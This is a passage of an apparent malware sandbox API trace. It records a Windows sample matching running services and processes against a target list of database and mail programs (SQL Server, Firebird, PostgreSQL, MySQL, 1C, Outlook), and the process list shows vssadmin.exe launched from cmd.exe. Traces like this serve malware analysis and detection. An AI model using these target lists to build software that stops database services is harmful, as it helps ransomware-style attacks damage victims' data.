(lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0189.790] lstrlenW (lpString="Netman") returned 6 [0189.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0189.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0189.790] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0189.790] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0189.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0189.790] lstrlenW (lpString="netprofm") returned 8 [0189.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0189.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0189.790] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0189.790] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0189.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0189.791] lstrlenW (lpString="NlaSvc") returned 6 [0189.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0189.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0189.791] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0189.791] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0189.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0189.791] lstrlenW (lpString="nsi") returned 3 [0189.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0189.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0189.791] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0189.791] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0189.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0189.791] lstrlenW (lpString="PcaSvc") returned 6 [0189.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0189.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0189.791] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0189.791] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0189.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0189.791] lstrlenW (lpString="PlugPlay") returned 8 [0189.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0189.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0189.791] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0189.791] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0189.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0189.791] lstrlenW (lpString="Power") returned 5 [0189.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0189.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0189.791] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0189.791] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0189.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0189.791] lstrlenW (lpString="ProfSvc") returned 7 [0189.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0189.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0189.792] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0189.792] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0189.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0189.792] lstrlenW (lpString="RpcEptMapper") returned 12 [0189.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0189.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0189.792] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0189.792] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0189.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0189.792] lstrlenW (lpString="RpcSs") returned 5 [0189.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0189.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0189.792] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0189.792] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0189.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0189.792] lstrlenW (lpString="SamSs") returned 5 [0189.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0189.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0189.792] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0189.792] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0189.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0189.792] lstrlenW (lpString="Schedule") returned 8 [0189.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0189.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0189.792] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0189.792] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0189.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0189.792] lstrlenW (lpString="SENS") returned 4 [0189.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0189.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0189.792] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0189.792] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0189.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0189.793] lstrlenW (lpString="ShellHWDetection") returned 16 [0189.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0189.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0189.793] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0189.793] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0189.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0189.793] lstrlenW (lpString="Spooler") returned 7 [0189.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0189.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0189.793] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0189.793] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0189.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0189.793] lstrlenW (lpString="SysMain") returned 7 [0189.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0189.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0189.793] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0189.793] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0189.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0189.793] lstrlenW (lpString="Themes") returned 6 [0189.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0189.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0189.793] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0189.793] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0189.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0189.793] lstrlenW (lpString="TrkWks") returned 6 [0189.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0189.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0189.793] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0189.793] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0189.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0189.793] lstrlenW (lpString="UxSms") returned 5 [0189.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0189.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0189.794] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0189.794] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0189.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0189.794] lstrlenW (lpString="VSS") returned 3 [0189.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0189.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0189.794] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0189.794] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0189.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0189.794] lstrlenW (lpString="WdiServiceHost") returned 14 [0189.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0189.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0189.794] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0189.794] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0189.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0189.794] lstrlenW (lpString="WdiSystemHost") returned 13 [0189.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0189.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0189.794] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0189.794] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0189.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0189.794] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0189.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0189.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0189.794] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0189.794] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0189.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0189.794] lstrlenW (lpString="Winmgmt") returned 7 [0189.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0189.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0189.795] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0189.795] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0189.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0189.795] lstrlenW (lpString="WPDBusEnum") returned 10 [0189.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0189.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0189.795] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0189.795] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0189.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0189.795] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b5c80 | out: hHeap=0x5c0000) returned 1 [0189.795] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x200 [0189.797] Process32FirstW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.797] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0189.797] lstrlenW (lpString="System") returned 6 [0189.797] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0189.797] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0189.797] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0189.797] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0189.797] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0189.797] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0189.797] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0189.797] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0189.798] lstrlenW (lpString="smss.exe") returned 8 [0189.798] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0189.798] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0189.798] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0189.798] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0189.798] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0189.798] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0189.798] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0189.798] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0189.798] lstrlenW (lpString="csrss.exe") returned 9 [0189.798] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0189.798] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0189.798] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0189.798] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0189.798] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0189.798] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0189.799] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0189.799] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0189.799] lstrlenW (lpString="wininit.exe") returned 11 [0189.799] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0189.799] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0189.799] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0189.799] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0189.799] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0189.799] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0189.799] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0189.799] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0189.799] lstrlenW (lpString="csrss.exe") returned 9 [0189.799] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0189.800] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0189.800] lstrlenW (lpString="winlogon.exe") returned 12 [0189.800] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0189.800] lstrlenW (lpString="services.exe") returned 12 [0189.800] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0189.801] lstrlenW (lpString="lsass.exe") returned 9 [0189.801] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0189.801] lstrlenW (lpString="lsm.exe") returned 7 [0189.801] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.801] lstrlenW (lpString="svchost.exe") returned 11 [0189.801] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.802] lstrlenW (lpString="svchost.exe") returned 11 [0189.802] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.802] lstrlenW (lpString="svchost.exe") returned 11 [0189.802] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.802] lstrlenW (lpString="svchost.exe") returned 11 [0189.802] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.803] lstrlenW (lpString="svchost.exe") returned 11 [0189.803] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0189.803] lstrlenW (lpString="audiodg.exe") returned 11 [0189.803] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.803] lstrlenW (lpString="svchost.exe") returned 11 [0189.804] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0189.804] lstrlenW (lpString="explorer.exe") returned 12 [0189.804] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0189.804] lstrlenW (lpString="dwm.exe") returned 7 [0189.804] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.805] lstrlenW (lpString="svchost.exe") returned 11 [0189.805] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0189.805] lstrlenW (lpString="n.exe") returned 5 [0189.805] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0189.805] lstrlenW (lpString="spoolsv.exe") returned 11 [0189.805] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.806] lstrlenW (lpString="svchost.exe") returned 11 [0189.806] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0189.806] lstrlenW (lpString="taskhost.exe") returned 12 [0189.806] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0189.806] lstrlenW (lpString="reader_sl.exe") returned 13 [0189.806] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0189.807] lstrlenW (lpString="n.exe") returned 5 [0189.807] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0189.807] lstrlenW (lpString="cmd.exe") returned 7 [0189.807] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0189.807] lstrlenW (lpString="conhost.exe") returned 11 [0189.807] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0189.808] lstrlenW (lpString="vssadmin.exe") returned 12 [0189.808] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0189.810] lstrlenW (lpString="VSSVC.exe") returned 9 [0189.810] Process32NextW (in: hSnapshot=0x200, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0189.811] CloseHandle (hObject=0x200) returned 1 [0189.811] Sleep (dwMilliseconds=0x1f4) [0190.405] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x633dc8 [0190.406] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 0 [0190.406] GetLastError () returned 0xea [0190.406] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x123e) returned 0x6b5c80 [0190.406] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6b5c80, cbBufSize=0x123e, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, 